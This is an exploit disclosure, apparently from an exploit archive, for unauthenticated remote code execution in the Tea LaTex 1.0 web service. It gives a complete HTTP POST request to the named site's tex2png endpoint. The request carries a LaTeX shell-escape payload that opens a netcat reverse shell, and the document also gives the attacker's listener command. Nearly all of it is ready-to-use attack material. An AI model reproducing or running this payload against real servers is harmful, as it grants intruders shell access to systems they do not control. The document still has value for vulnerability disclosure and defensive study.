Tea LaTex 1.0 Remote Code Execution

Tea LaTex version 1.0 suffers from an unauthenticated remote code execution vulnerability.

# Exploit Title: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-01
# Exploit Author: nepska
# Vendor Homepage: https://github.com/ammarfaizi2/latex.teainside.org
# Software Link: https://github.com/ammarfaizi2/latex.teainside.org
# Version: v1.0
# Tested on: Kali linux / Windows 10
# CVE: N/A


# Header Requests

POST /api.php?action=tex2png HTTP/1.1
Host: latex.teainside.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Origin: https://latex.teainside.org
DNT: 1
Connection: keep-alive
Referer: https://latex.teainside.org/
Cookie: __cfduid=d7e499dd5e2cf708117e613f7286aa2021599260403


{"content":"\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}","d":200,"border":"50x20","bcolor":"white"}




# Payload 

\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}


# Attacker 

nc -lvp 1234

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